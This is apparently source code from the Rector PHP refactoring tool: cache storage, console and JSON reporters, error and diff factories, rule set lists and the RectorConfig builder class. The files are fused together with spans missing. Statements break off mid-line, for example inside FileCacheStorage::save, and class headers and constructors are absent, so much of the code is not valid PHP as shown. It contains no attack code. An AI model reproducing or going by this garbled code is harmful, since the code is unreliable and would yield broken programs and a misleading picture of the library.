$data; } /** * @param mixed[] $properties */ public static function __set_state(array $properties) : self { return new self($properties['variableKey'], $properties['data']); } public function isVariableKeyValid(string $variableKey) : bool { return $this->variableKey === $variableKey; } /** * @return mixed */ public function getData() { return $this->data; } } directory = $directory; $this->filesystem = $filesystem; } /** * @return mixed */ public function load(string $key, string $variableKey) { return (function (string $key, string $variableKey) { $cacheFilePaths = $this->getCacheFilePaths($key); $filePath = $cacheFilePaths->getFilePath(); if (!\is_file($filePath)) { return null; } $cacheItem = (require $filePath); if (!$cacheItem instanceof CacheItem) { return null; } if (!$cacheItem->isVariableKeyValid($variableKey)) { return null; } return $cacheItem->getData(); })($key, $variableKey); } /** * @param mixed $data */ public function save(string $key, string $variableKey, $data) : void { $cacheFilePaths = $this->getCacheFilePaths($key); $this->filesystem->mkdir($cacheFilePaths->getFirstDirectory()); $this->filesystem->mkdir($cacheFilePaths->getSecondDirectory()); $filePath = $cacheFilePaths->getFilePath(); $tmpPath = \sprintf('%s/%s.tmp', $this->directory, Random::generate()); $errorBefore = \error_get_last(); $exported = @\var_export(new CacheItem($variableKey, $data), \true); $errorAfter = \error_get_last(); if ($errorAfter !== null && $errorBefore !== $errorAfter) { throw new CachingException(\sprintf('Error occurred while saving item %s (%s) to cache: %s', $key, $variableKey, $errorAfter['message'])); } // for performance reasons we don't use SmartFileSystem FileSystem::write($tmpPath, \sprintf("getCacheFilePaths($key); $this->processRemoveCacheFilePath($cacheFilePaths); $this->processRemoveEmptyDirectory($cacheFilePaths->getSecondDirectory()); $this->processRemoveEmptyDirectory($cacheFilePaths->getFirstDirectory()); } public function clear() : void { FileSystem::delete($this->directory); } private function processRemoveCacheFilePath(CacheFilePaths $cacheFilePaths) : void { $filePath = $cacheFilePaths->getFilePath(); if (!$this->filesystem->exists($filePath)) { return; } FileSystem::delete($filePath); } private function processRemoveEmptyDirectory(string $directory) : void { if (!$this->filesystem->exists($directory)) { return; } if ($this->isNotEmptyDirectory($directory)) { return; } FileSystem::delete($directory); } private function isNotEmptyDirectory(string $directory) : bool { // FilesystemIterator will initially point to the first file in the folder - if there are no files in the folder, valid() will return false $filesystemIterator = new FilesystemIterator($directory); return $filesystemIterator->valid(); } private function getCacheFilePaths(string $key) : CacheFilePaths { $keyHash = \sha1($key); $firstDirectory = \sprintf('%s/%s', $this->directory, \substr($keyHash, 0, 2)); $secondDirectory = \sprintf('%s/%s', $firstDirectory, \substr($keyHash, 2, 2)); $filePath = \sprintf('%s/%s.php', $secondDirectory, $keyHash); return new CacheFilePaths($firstDirectory, $secondDirectory, $filePath); } } */ private $storage = []; /** * @return null|mixed */ public function load(string $key, string $variableKey) { if (!isset($this->storage[$key])) { return null; } $item = $this->storage[$key]; if (!$item->isVariableKeyValid($variableKey)) { return null; } return $item->getData(); } /** * @param mixed $data */ public function save(string $key, string $variableKey, $data) : void { $this->storage[$key] = new CacheItem($variableKey, $data); } public function clean(string $key) : void { if (!isset($this->storage[$key])) { return; } unset($this->storage[$key]); } public function clear() : void { $this->storage = []; } } symfonyStyle = $symfonyStyle; } public function report(ProcessResult $processResult, Configuration $configuration) : void { if ($configuration->shouldShowDiffs()) { $this->reportFileDiffs($processResult->getFileDiffs(), $configuration->isReportingWithRealPath()); } $this->reportErrors($processResult->getSystemErrors(), $configuration->isReportingWithRealPath()); if ($processResult->getSystemErrors() !== []) { return; } // to keep space between progress bar and success message if ($configuration->shouldShowProgressBar() && $processResult->getFileDiffs() === []) { $this->symfonyStyle->newLine(); } $message = $this->createSuccessMessage($processResult, $configuration); $this->symfonyStyle->success($message); } public function getName() : string { return self::NAME; } /** * @param FileDiff[] $fileDiffs */ private function reportFileDiffs(array $fileDiffs, bool $absoluteFilePath) : void { if (\count($fileDiffs) <= 0) { return; } // normalize \ksort($fileDiffs); $message = \sprintf('%d file%s with changes', \count($fileDiffs), \count($fileDiffs) === 1 ? '' : 's'); $this->symfonyStyle->title($message); $i = 0; foreach ($fileDiffs as $fileDiff) { $filePath = $absoluteFilePath ? $fileDiff->getAbsoluteFilePath() ?? '' : $fileDiff->getRelativeFilePath(); // append line number for faster file jump in diff $firstLineNumber = $fileDiff->getFirstLineNumber(); if ($firstLineNumber !== null) { $filePath .= ':' . $firstLineNumber; } $filePathWithUrl = $this->addEditorUrl($filePath, $fileDiff->getAbsoluteFilePath(), $fileDiff->getRelativeFilePath(), (string) $fileDiff->getFirstLineNumber()); $message = \sprintf('%d) %s', ++$i, $filePathWithUrl); $this->symfonyStyle->writeln($message); $this->symfonyStyle->newLine(); $this->symfonyStyle->writeln($fileDiff->getDiffConsoleFormatted()); if ($fileDiff->getRectorChanges() !== []) { $this->symfonyStyle->writeln('Applied rules:'); $this->symfonyStyle->listing($fileDiff->getRectorShortClasses()); $this->symfonyStyle->newLine(); } } } /** * @param SystemError[] $errors */ private function reportErrors(array $errors, bool $absoluteFilePath) : void { foreach ($errors as $error) { $errorMessage = $error->getMessage(); $errorMessage = $this->normalizePathsToRelativeWithLine($errorMessage); $filePath = $absoluteFilePath ? $error->getAbsoluteFilePath() : $error->getRelativeFilePath(); $message = \sprintf('Could not process %s%s, due to: %s"%s".', $filePath !== null ? '"' . $filePath . '" file' : 'some files', $error->getRectorClass() !== null ? ' by "' . $error->getRectorClass() . '"' : '', \PHP_EOL, $errorMessage); if ($error->getLine() !== null) { $message .= ' On line: ' . $error->getLine(); } $this->symfonyStyle->error($message); } } private function normalizePathsToRelativeWithLine(string $errorMessage) : string { $regex = '#' . \preg_quote(\getcwd(), '#') . '/#'; $errorMessage = Strings::replace($errorMessage, $regex); return Strings::replace($errorMessage, self::ON_LINE_REGEX); } private function createSuccessMessage(ProcessResult $processResult, Configuration $configuration) : string { $changeCount = \count($processResult->getFileDiffs()); if ($changeCount === 0) { return 'Rector is done!'; } return \sprintf('%d file%s %s by Rector', $changeCount, $changeCount > 1 ? 's' : '', $configuration->isDryRun() ? 'would have been changed (dry-run)' : ($changeCount === 1 ? 'has' : 'have') . ' been changed'); } private function addEditorUrl(string $filePath, ?string $absoluteFilePath, ?string $relativeFilePath, ?string $lineNumber) : string { $editorUrl = SimpleParameterProvider::provideStringParameter(Option::EDITOR_URL, ''); if ($editorUrl !== '') { $editorUrl = \str_replace(['%file%', '%relFile%', '%line%'], [$absoluteFilePath, $relativeFilePath, $lineNumber], $editorUrl); $filePath = '' . $filePath . ''; } return $filePath; } } ['changed_files' => \count($processResult->getFileDiffs())]]; $fileDiffs = $processResult->getFileDiffs(); \ksort($fileDiffs); foreach ($fileDiffs as $fileDiff) { $filePath = $configuration->isReportingWithRealPath() ? $fileDiff->getAbsoluteFilePath() ?? '' : $fileDiff->getRelativeFilePath(); $errorsJson[Bridge::FILE_DIFFS][] = ['file' => $filePath, 'diff' => $fileDiff->getDiff(), 'applied_rectors' => $fileDiff->getRectorClasses()]; // for Rector CI $errorsJson['changed_files'][] = $filePath; } $systemErrors = $processResult->getSystemErrors(); $errorsJson['totals']['errors'] = \count($systemErrors); $errorsData = $this->createErrorsData($systemErrors, $configuration->isReportingWithRealPath()); if ($errorsData !== []) { $errorsJson['errors'] = $errorsData; } $json = Json::encode($errorsJson, \true); echo $json . \PHP_EOL; } /** * @param SystemError[] $errors * @return mixed[] */ private function createErrorsData(array $errors, bool $absoluteFilePath) : array { $errorsData = []; foreach ($errors as $error) { $errorDataJson = ['message' => $error->getMessage(), 'file' => $absoluteFilePath ? $error->getAbsoluteFilePath() : $error->getRelativeFilePath()]; if ($error->getRectorClass() !== null) { $errorDataJson['caused_by'] = $error->getRectorClass(); } if ($error->getLine() !== null) { $errorDataJson['line'] = $error->getLine(); } $errorsData[] = $errorDataJson; } return $errorsData; } } * @readonly */ private $rectorClass; /** * @param class-string|RectorInterface $rectorClass */ public function __construct($rectorClass, int $line) { $this->line = $line; if ($rectorClass instanceof RectorInterface) { $rectorClass = \get_class($rectorClass); } $this->rectorClass = $rectorClass; } /** * @return class-string */ public function getRectorClass() : string { return $this->rectorClass; } /** * @param array $json * @return $this */ public static function decode(array $json) : \RectorPrefix202411\Symplify\EasyParallel\Contract\SerializableInterface { /** @var class-string $rectorClass */ $rectorClass = $json[self::KEY_RECTOR_CLASS]; Assert::string($rectorClass); $line = $json[self::KEY_LINE]; Assert::integer($line); return new self($rectorClass, $line); } /** * @return array{rector_class: class-string, line: int} */ public function jsonSerialize() : array { return [self::KEY_RECTOR_CLASS => $this->rectorClass, self::KEY_LINE => $this->line]; } } filePathHelper = $filePathHelper; } public function createAutoloadError(AnalysedCodeException $analysedCodeException, string $filePath) : SystemError { $message = $this->createExceptionMessage($analysedCodeException); $relativeFilePath = $this->filePathHelper->relativePath($filePath); return new SystemError($message, $relativeFilePath); } private function createExceptionMessage(AnalysedCodeException $analysedCodeException) : string { return \sprintf('Analyze error: "%s". Include your files in "$rectorConfig->autoloadPaths([...]);" or "$rectorConfig->bootstrapFiles([...]);" in "rector.php" config.%sSee https://github.com/rectorphp/rector#configuration', $analysedCodeException->getMessage(), \PHP_EOL); } } defaultDiffer = $defaultDiffer; $this->consoleDiffer = $consoleDiffer; $this->filePathHelper = $filePathHelper; } /** * @param RectorWithLineChange[] $rectorsWithLineChanges */ public function createFileDiffWithLineChanges(File $file, string $oldContent, string $newContent, array $rectorsWithLineChanges) : FileDiff { $relativeFilePath = $this->filePathHelper->relativePath($file->getFilePath()); // always keep the most recent diff return new FileDiff($relativeFilePath, $this->defaultDiffer->diff($oldContent, $newContent), $this->consoleDiffer->diff($oldContent, $newContent), $rectorsWithLineChanges); } public function createTempFileDiff(File $file) : FileDiff { return $this->createFileDiffWithLineChanges($file, '', '', $file->getRectorWithLineChanges()); } } commentRemovingNodeTraverser = $commentRemovingNodeTraverser; } /** * @param Node[]|Node|null $node * @return Node[]|null */ public function removeFromNode($node) : ?array { if ($node === null) { return null; } $nodes = \is_array($node) ? $node : [$node]; return $this->commentRemovingNodeTraverser->traverse($nodes); } } phpDocInfoPrinter = $phpDocInfoPrinter; } public function updateRefactoredNodeWithPhpDocInfo(Node $node) : void { // nothing to change? don't save it $phpDocInfo = $node->getAttribute(AttributeKey::PHP_DOC_INFO); if (!$phpDocInfo instanceof PhpDocInfo) { return; } $phpDocNode = $phpDocInfo->getPhpDocNode(); if ($phpDocNode->children === []) { $this->setCommentsAttribute($node); return; } $printedPhpDoc = $this->printPhpDocInfoToString($phpDocInfo); $node->setDocComment(new Doc($printedPhpDoc)); } private function setCommentsAttribute(Node $node) : void { $comments = \array_filter($node->getComments(), static function (Comment $comment) : bool { return !$comment instanceof Doc; }); $node->setAttribute(AttributeKey::COMMENTS, $comments); } private function printPhpDocInfoToString(PhpDocInfo $phpDocInfo) : string { if ($phpDocInfo->isNewNode()) { return $this->phpDocInfoPrinter->printNew($phpDocInfo); } return $this->phpDocInfoPrinter->printFormatPreserving($phpDocInfo); } } addVisitor($commentRemovingNodeVisitor); parent::__construct(); } } setAttribute(AttributeKey::COMMENTS, []); $clonedNode->setAttribute(AttributeKey::PHP_DOC_INFO, null); return $clonedNode; } } */ private $resolvedInstalledPackages = []; /** * @return InstalledPackage[] */ public function resolve(string $projectDirectory) : array { // cache if (isset($this->resolvedInstalledPackages[$projectDirectory])) { return $this->resolvedInstalledPackages[$projectDirectory]; } Assert::directory($projectDirectory); $installedPackagesFilePath = $projectDirectory . '/vendor/composer/installed.json'; if (!\file_exists($installedPackagesFilePath)) { throw new ShouldNotHappenException('The installed package json not found. Make sure you run `composer update` and "vendor/composer/installed.json" file exists'); } $installedPackageFileContents = FileSystem::read($installedPackagesFilePath); $installedPackagesFilePath = Json::decode($installedPackageFileContents, \true); $installedPackages = []; foreach ($installedPackagesFilePath['packages'] as $installedPackage) { $installedPackages[] = new InstalledPackage($installedPackage['name'], $installedPackage['version_normalized']); } $this->resolvedInstalledPackages[$projectDirectory] = $installedPackages; return $installedPackages; } } name = $name; $this->version = $version; } public function getName() : string { return $this->name; } public function getVersion() : string { return $this->version; } } > */ public const RULES = [CombinedAssignRector::class, SimplifyEmptyArrayCheckRector::class, ReplaceMultipleBooleanNotRector::class, ForeachToInArrayRector::class, SimplifyForeachToCoalescingRector::class, SimplifyFuncGetArgsCountRector::class, SimplifyInArrayValuesRector::class, SimplifyStrposLowerRector::class, SimplifyArraySearchRector::class, SimplifyConditionsRector::class, SimplifyIfNotNullReturnRector::class, SimplifyIfReturnBoolRector::class, UnnecessaryTernaryExpressionRector::class, RemoveExtraParametersRector::class, SimplifyDeMorganBinaryRector::class, SimplifyTautologyTernaryRector::class, SingleInArrayToCompareRector::class, SimplifyIfElseToTernaryRector::class, JoinStringConcatRector::class, ConsecutiveNullCompareReturnsToNullCoalesceQueueRector::class, ExplicitBoolCompareRector::class, CombineIfRector::class, UseIdenticalOverEqualWithSameTypeRector::class, SimplifyBoolIdenticalTrueRector::class, SimplifyRegexPatternRector::class, BooleanNotIdenticalToNotIdenticalRector::class, AndAssignsToSeparateLinesRector::class, CompactToVariablesRector::class, CompleteDynamicPropertiesRector::class, IsAWithStringWithThirdArgumentRector::class, StrlenZeroToIdenticalEmptyStringRector::class, ThrowWithPreviousExceptionRector::class, RemoveSoleValueSprintfRector::class, ShortenElseIfRector::class, ExplicitReturnNullRector::class, ArrayMergeOfNonArraysToSimpleArrayRector::class, ArrayKeyExistsTernaryThenValueToCoalescingRector::class, AbsolutizeRequireAndIncludePathRector::class, ChangeArrayPushToArrayAssignRector::class, ForRepeatedCountToOwnVariableRector::class, ForeachItemsAssignToEmptyArrayToAssignRector::class, InlineIfToExplicitIfRector::class, UnusedForeachValueToArrayKeysRector::class, CommonNotEqualRector::class, SetTypeToCastRector::class, LogicalToBooleanRector::class, VarToPublicPropertyRector::class, IssetOnPropertyObjectToPropertyExistsRector::class, NewStaticToNewSelfRector::class, UnwrapSprintfOneArgumentRector::class, SwitchNegatedTernaryRector::class, SingularSwitchToIfRector::class, SimplifyIfNullableReturnRector::class, FuncGetArgsToVariadicParamRector::class, CallUserFuncToMethodCallRector::class, CallUserFuncWithArrowFunctionToInlineRector::class, CountArrayToEmptyArrayComparisonRector::class, FlipTypeControlToUseExclusiveTypeRector::class, InlineArrayReturnAssignRector::class, InlineIsAInstanceOfRector::class, TernaryFalseExpressionToIfRector::class, InlineConstructorDefaultToPropertyRector::class, TernaryEmptyArrayArrayDimFetchToCoalesceRector::class, OptionalParametersAfterRequiredRector::class, SimplifyEmptyCheckOnEmptyArrayRector::class, SwitchTrueToIfRector::class, CleanupUnneededNullsafeOperatorRector::class, DisallowedEmptyRuleFixerRector::class, ConvertStaticPrivateConstantToSelfRector::class, LocallyCalledStaticMethodToNonStaticRector::class, NumberCompareToMaxFuncCallRector::class, CompleteMissingIfElseBracketRector::class, RemoveUselessIsObjectCheckRector::class, StaticToSelfStaticMethodCallOnFinalClassRector::class]; /** * @var array, mixed[]> */ public const RULES_WITH_CONFIGURATION = [RenameFunctionRector::class => [ 'split' => 'explode', 'join' => 'implode', 'sizeof' => 'count', # https://www.php.net/manual/en/aliases.php 'chop' => 'rtrim', 'doubleval' => 'floatval', 'gzputs' => 'gzwrites', 'fputs' => 'fwrite', 'ini_alter' => 'ini_set', 'is_double' => 'is_float', 'is_integer' => 'is_int', 'is_long' => 'is_int', 'is_real' => 'is_float', 'is_writeable' => 'is_writable', 'key_exists' => 'array_key_exists', 'pos' => 'current', 'strchr' => 'strstr', # mb 'mbstrcut' => 'mb_strcut', 'mbstrlen' => 'mb_strlen', 'mbstrpos' => 'mb_strpos', 'mbstrrpos' => 'mb_strrpos', 'mbsubstr' => 'mb_substr', ]]; } > */ public const RULES = [ // easy picks RemoveUnusedForeachKeyRector::class, RemoveDuplicatedArrayKeyRector::class, RecastingRemovalRector::class, RemoveAndTrueRector::class, SimplifyMirrorAssignRector::class, RemoveDeadContinueRector::class, RemoveUnusedNonEmptyArrayBeforeForeachRector::class, RemoveNullPropertyInitializationRector::class, RemoveUselessReturnExprInConstructRector::class, RemoveTypedPropertyDeadInstanceOfRector::class, TernaryToBooleanOrFalseToBooleanAndRector::class, RemoveDoubleAssignRector::class, RemoveConcatAutocastRector::class, SimplifyIfElseWithSameContentRector::class, SimplifyUselessVariableRector::class, RemoveDeadZeroAndOneOperationRector::class, // docblock RemoveUselessParamTagRector::class, RemoveUselessReturnTagRector::class, RemoveUselessReadOnlyTagRector::class, RemoveNonExistingVarAnnotationRector::class, RemoveUselessVarTagRector::class, // prioritize safe belt on RemoveUseless*TagRector that registered previously first RemoveNullTagValueNodeRector::class, RemovePhpVersionIdCheckRector::class, RemoveTypedPropertyNonMockDocblockRector::class, RemoveAlwaysTrueIfConditionRector::class, ReduceAlwaysFalseIfOrRector::class, RemoveUnusedPrivateClassConstantRector::class, RemoveUnusedPrivatePropertyRector::class, RemoveDuplicatedCaseInSwitchRector::class, RemoveDeadInstanceOfRector::class, RemoveDeadTryCatchRector::class, RemoveDeadIfForeachForRector::class, RemoveDeadStmtRector::class, UnwrapFutureCompatibleIfPhpVersionRector::class, RemoveParentCallWithoutParentRector::class, RemoveDeadConditionAboveReturnRector::class, RemoveDeadLoopRector::class, // removing methods could be risky if there is some magic loading them RemoveUnusedPromotedPropertyRector::class, RemoveUnusedPrivateMethodParameterRector::class, RemoveUnusedPublicMethodParameterRector::class, RemoveUnusedPrivateMethodRector::class, RemoveUnreachableStatementRector::class, RemoveUnusedVariableAssignRector::class, // this could break framework magic autowiring in some cases RemoveUnusedConstructorParamRector::class, RemoveEmptyClassMethodRector::class, RemoveDeadReturnRector::class, ]; } > */ public const RULES = [ // php 7.1, start with closure first, as safest AddClosureVoidReturnTypeWhereNoReturnRector::class, AddFunctionVoidReturnTypeWhereNoReturnRector::class, AddTestsVoidReturnTypeWhereNoReturnRector::class, ReturnTypeFromMockObjectRector::class, TypedPropertyFromCreateMockAssignRector::class, AddArrowFunctionReturnTypeRector::class, BoolReturnTypeFromBooleanConstReturnsRector::class, ReturnTypeFromStrictNewArrayRector::class, // scalar and array from constant ReturnTypeFromStrictConstantReturnRector::class, StringReturnTypeFromStrictScalarReturnsRector::class, NumericReturnTypeFromStrictScalarReturnsRector::class, BoolReturnTypeFromBooleanStrictReturnsRector::class, StringReturnTypeFromStrictStringReturnsRector::class, NumericReturnTypeFromStrictReturnsRector::class, ReturnTypeFromStrictTernaryRector::class, ReturnTypeFromReturnDirectArrayRector::class, ResponseReturnTypeControllerActionRector::class, ReturnTypeFromReturnNewRector::class, ReturnTypeFromReturnCastRector::class, ReturnTypeFromSymfonySerializerRector::class, AddVoidReturnTypeWhereNoReturnRector::class, ReturnTypeFromStrictTypedPropertyRector::class, ReturnNullableTypeRector::class, // php 7.4 EmptyOnNullableObjectToInstanceOfRector::class, // php 7.4 TypedPropertyFromStrictConstructorRector::class, AddParamTypeSplFixedArrayRector::class, AddReturnTypeDeclarationFromYieldsRector::class, AddParamTypeBasedOnPHPUnitDataProviderRector::class, TypedPropertyFromStrictSetUpRector::class, ReturnTypeFromStrictNativeCallRector::class, ReturnTypeFromStrictTypedCallRector::class, ChildDoctrineRepositoryClassTypeRector::class, // param AddMethodCallBasedStrictParamTypeRector::class, ParamTypeByParentCallTypeRector::class, // multi types (nullable, union) ReturnUnionTypeRector::class, // closures AddClosureNeverReturnTypeRector::class, ClosureReturnTypeRector::class, // more risky rules ReturnTypeFromStrictParamRector::class, AddParamTypeFromPropertyTypeRector::class, MergeDateTimePropertyTypeDeclarationRector::class, PropertyTypeFromStrictSetterGetterRector::class, ParamTypeByMethodCallTypeRector::class, TypedPropertyFromAssignsRector::class, AddReturnTypeDeclarationBasedOnParentClassMethodRector::class, ReturnTypeFromStrictFluentReturnRector::class, ReturnNeverTypeRector::class, StrictArrayParamDimFetchRector::class, StrictStringParamConcatRector::class, TypedPropertyFromJMSSerializerAttributeTypeRector::class, ]; } , mixed[]>> */ private $ruleConfigurations = []; /** * @var string[] */ private $autotagInterfaces = [Command::class, ResetableInterface::class]; public static function configure() : RectorConfigBuilder { return new RectorConfigBuilder(); } /** * @param string[] $paths */ public function paths(array $paths) : void { Assert::allString($paths); // ensure paths exist foreach ($paths as $path) { if (\strpos($path, '*') !== \false) { continue; } Assert::fileExists($path); } SimpleParameterProvider::setParameter(Option::PATHS, $paths); } /** * @param string[] $sets */ public function sets(array $sets) : void { Assert::allString($sets); foreach ($sets as $set) { Assert::fileExists($set); $this->import($set); } // notify about deprecated sets foreach ($sets as $set) { if (\strpos($set, 'deprecated-level-set') === \false) { continue; } // display only on main command run, skip spamming in workers $commandArguments = $_SERVER['argv']; if (!\in_array('worker', $commandArguments, \true)) { // show warning, to avoid confusion $symfonyStyle = new SymfonyStyle(new ArrayInput([]), new ConsoleOutput()); $symfonyStyle->warning("The Symfony/Twig/PHPUnit level sets have been deprecated since Rector 0.19.2 due to heavy performance loads and conflicting overrides. Instead, please use the latest major set.\n\nFor more information, visit https://getrector.com/blog/5-common-mistakes-in-rector-config-and-how-to-avoid-them"); break; } } // for cache invalidation in case of sets change SimpleParameterProvider::addParameter(Option::REGISTERED_RECTOR_SETS, $sets); } public function disableParallel() : void { SimpleParameterProvider::setParameter(Option::PARALLEL, \false); } public function parallel(int $processTimeout = 120, int $maxNumberOfProcess = 16, int $jobSize = 16) : void { SimpleParameterProvider::setParameter(Option::PARALLEL, \true); SimpleParameterProvider::setParameter(Option::PARALLEL_JOB_TIMEOUT_IN_SECONDS, $processTimeout); SimpleParameterProvider::setParameter(Option::PARALLEL_MAX_NUMBER_OF_PROCESSES, $maxNumberOfProcess); SimpleParameterProvider::setParameter(Option::PARALLEL_JOB_SIZE, $jobSize); } public function noDiffs() : void { SimpleParameterProvider::setParameter(Option::NO_DIFFS, \true); } public function memoryLimit(string $memoryLimit) : void { SimpleParameterProvider::setParameter(Option::MEMORY_LIMIT, $memoryLimit); } /** * @see https://getrector.com/documentation/ignoring-rules-or-paths * @param array $skip */ public function skip(array $skip) : void { RectorConfigValidator::ensureRectorRulesExist($skip); SimpleParameterProvider::addParameter(Option::SKIP, $skip); } public function removeUnusedImports(bool $removeUnusedImports = \true) : void { SimpleParameterProvider::setParameter(Option::REMOVE_UNUSED_IMPORTS, $removeUnusedImports); } public function importNames(bool $importNames = \true, bool $importDocBlockNames = \true) : void { SimpleParameterProvider::setParameter(Option::AUTO_IMPORT_NAMES, $importNames); SimpleParameterProvider::setParameter(Option::AUTO_IMPORT_DOC_BLOCK_NAMES, $importDocBlockNames); } public function importShortClasses(bool $importShortClasses = \true) : void { SimpleParameterProvider::setParameter(Option::IMPORT_SHORT_CLASSES, $importShortClasses); } /** * Add PHPStan custom config to load extensions and custom configuration to Rector. */ public function phpstanConfig(string $filePath) : void { Assert::fileExists($filePath); SimpleParameterProvider::addParameter(Option::PHPSTAN_FOR_RECTOR_PATHS, [$filePath]); } /** * Add PHPStan custom configs to load extensions and custom configuration to Rector. * * @param string[] $filePaths */ public function phpstanConfigs(array $filePaths) : void { Assert::allString($filePaths); Assert::allFileExists($filePaths); SimpleParameterProvider::addParameter(Option::PHPSTAN_FOR_RECTOR_PATHS, $filePaths); } /** * @param class-string $rectorClass * @param mixed[] $configuration */ public function ruleWithConfiguration(string $rectorClass, array $configuration) : void { Assert::classExists($rectorClass); Assert::isAOf($rectorClass, RectorInterface::class); Assert::isAOf($rectorClass, ConfigurableRectorInterface::class); // store configuration to cache $this->ruleConfigurations[$rectorClass] = \array_merge($this->ruleConfigurations[$rectorClass] ?? [], $configuration); $this->rule($rectorClass); $this->afterResolving($rectorClass, function (ConfigurableRectorInterface $configurableRector) use($rectorClass) : void { $ruleConfiguration = $this->ruleConfigurations[$rectorClass]; $configurableRector->configure($ruleConfiguration); }); // for cache invalidation in case of sets change SimpleParameterProvider::addParameter(Option::REGISTERED_RECTOR_RULES, $rectorClass); } /** * @param class-string $rectorClass */ public function rule(string $rectorClass) : void { Assert::classExists($rectorClass); Assert::isAOf($rectorClass, RectorInterface::class); $this->singleton($rectorClass); $this->tag($rectorClass, RectorInterface::class); // for cache invalidation in case of change SimpleParameterProvider::addParameter(Option::REGISTERED_RECTOR_RULES, $rectorClass); if (\is_a($rectorClass, RelatedConfigInterface::class, \true)) { $configFile = $rectorClass::getConfigFile(); Assert::file($configFile, \sprintf('The config path "%s" in "%s::getConfigFile()" could not be found', $configFile, $rectorClass)); $this->import($configFile); } } /** * @param class-string $commandClass */ public function command(string $commandClass) : void { $this->singleton($commandClass); $this->tag($commandClass, Command::class); } public function import(string $filePath) : void { if (\strpos($filePath, '*') !== \false) { throw new ShouldNotHappenException('Matching file paths by using glob-patterns is no longer supported. Use specific file path instead.'); } Assert::fileExists($filePath); $self = $this; $callable = (require $filePath); Assert::isCallable($callable); /** @var callable(Container $container): void $callable */ $callable($self); } /** * @param array> $rectorClasses */ public function rules(array $rectorClasses) : void { Assert::allString($rectorClasses); RectorConfigValidator::ensureNoDuplicatedClasses($rectorClasses); foreach ($rectorClasses as $rectorClass) { $this->rule($rectorClass); } } /** * @param PhpVersion::* $phpVersion */ public function phpVersion(int $phpVersion) : void { SimpleParameterProvider::setParameter(Option::PHP_VERSION_FEATURES, $phpVersion); } /** * @api only for testing. It is parsed from composer.json "require" packages by default * @param array $polyfillPackages */ public function polyfillPackages(array $polyfillPackages) : void { SimpleParameterProvider::setParameter(Option::POLYFILL_PACKAGES, $polyfillPackages); } /** * @param string[] $autoloadPaths */ public function autoloadPaths(array $autoloadPaths) : void { Assert::allString($autoloadPaths); SimpleParameterProvider::setParameter(Option::AUTOLOAD_PATHS, $autoloadPaths); } /** * @param string[] $bootstrapFiles */ public function bootstrapFiles(array $bootstrapFiles) : void { Assert::allString($bootstrapFiles); SimpleParameterProvider::setParameter(Option::BOOTSTRAP_FILES, $bootstrapFiles); } public function symfonyContainerXml(string $filePath) : void { SimpleParameterProvider::setParameter(Option::SYMFONY_CONTAINER_XML_PATH_PARAMETER, $filePath); } public function symfonyContainerPhp(string $filePath) : void { SimpleParameterProvider::setParameter(Option::SYMFONY_CONTAINER_PHP_PATH_PARAMETER, $filePath); } public function newLineOnFluentCall(bool $enabled = \true) : void { SimpleParameterProvider::setParameter(Option::NEW_LINE_ON_FLUENT_CALL, $enabled); } /** * @param string[] $extensions */ public function fileExtensions(array $extensions) : void { Assert::allString($extensions); SimpleParameterProvider::setParameter(Option::FILE_EXTENSIONS, $extensions); } public function cacheDirectory(string $directoryPath) : void { // cache directory path is created via mkdir in CacheFactory // when not exists, so no need to validate $directoryPath is a directory SimpleParameterProvider::setParameter(Option::CACHE_DIR, $directoryPath); } public function containerCacheDirectory(string $directoryPath) : void { // container cache directory path must be a directory on the first place Assert::directory($directoryPath); SimpleParameterProvider::setParameter(Option::CONTAINER_CACHE_DIRECTORY, $directoryPath); } /** * @param class-string $cacheClass */ public function cacheClass(string $cacheClass) : void { Assert::isAOf($cacheClass, CacheStorageInterface::class); SimpleParameterProvider::setParameter(Option::CACHE_CLASS, $cacheClass); } /** * @see https://github.com/nikic/PHP-Parser/issues/723#issuecomment-712401963 */ public function indent(string $character, int $count) : void { SimpleParameterProvider::setParameter(Option::INDENT_CHAR, $character); SimpleParameterProvider::setParameter(Option::INDENT_SIZE, $count); } /** * @internal * @api used only in tests */ public function resetRuleConfigurations() : void { $this->ruleConfigurations = []; } /** * Compiler passes-like method */ public function boot() : void { $skippedClassResolver = new SkippedClassResolver(); $skippedElements = $skippedClassResolver->resolve(); foreach ($skippedElements as $skippedClass => $path) { if ($path !== null) { continue; } // completely forget the Rector rule only when no path specified ContainerMemento::forgetService($this, $skippedClass); } } /** * @internal Use to add tag on service registrations */ public function autotagInterface(string $interface) : void { $this->autotagInterfaces[] = $interface; } /** * @param string $abstract * @param mixed $concrete */ public function singleton($abstract, $concrete = null) : void { parent::singleton($abstract, $concrete); foreach ($this->autotagInterfaces as $autotagInterface) { if (!\is_a($abstract, $autotagInterface, \true)) { continue; } $this->tag($abstract, $autotagInterface); } } public function reportingRealPath(bool $absolute = \true) : void { SimpleParameterProvider::setParameter(Option::ABSOLUTE_FILE_PATH, $absolute); } public function editorUrl(string $editorUrl) : void { SimpleParameterProvider::setParameter(Option::EDITOR_URL, $editorUrl); } /** * @internal Used only for bridge * @return array, mixed> */ public function getRuleConfigurations() : array { return $this->ruleConfigurations; } /** * @internal Used only for bridge * @return array> */ public function getRectorClasses() : array { return $this->tags[RectorInterface::class] ?? []; } } className = $className; $this->alias = $alias; $this->tag = $tag; } public function getClassName() : string { return $this->className; } public function getAlias() : ?string { return $this->alias; } public function getTag() : ?string { return $this->tag; } } rectors = $rectors; $this->initFilePathsResolver = $initFilePathsResolver; $this->symfonyStyle = $symfonyStyle; } public function createConfig(string $projectDirectory) : void { $commonRectorConfigPath = $projectDirectory . '/rector.php'; if (\file_exists($commonRectorConfigPath)) { $this->symfonyStyle->warning('Register rules or sets in your "rector.php" config'); return; } $response = $this->symfonyStyle->ask('No "rector.php" config found. Should we generate it for you?', 'yes'); // be tolerant about input if (!\in_array($response, ['yes', 'YES', 'y', 'Y'], \true)) { // okay, nothing we can do return; } $configContents = FileSystem::read(__DIR__ . '/../../templates/rector.php.dist'); $configContents = $this->replacePathsContents($configContents, $projectDirectory); FileSystem::write($commonRectorConfigPath, $configContents, null); $this->symfonyStyle->success('The config is added now. Re-run command to make Rector do the work!'); } public function areSomeRectorsLoaded() : bool { $activeRectors = $this->filterActiveRectors($this->rectors); return $activeRectors !== []; } /** * @param RectorInterface[] $rectors * @return RectorInterface[] */ private function filterActiveRectors(array $rectors) : array { return \array_filter($rectors, static function (RectorInterface $rector) : bool { return !$rector instanceof PostRectorInterface; }); } private function replacePathsContents(string $rectorPhpTemplateContents, string $projectDirectory) : string { $projectPhpDirectories = $this->initFilePathsResolver->resolve($projectDirectory); // fallback to default 'src' in case of empty one if 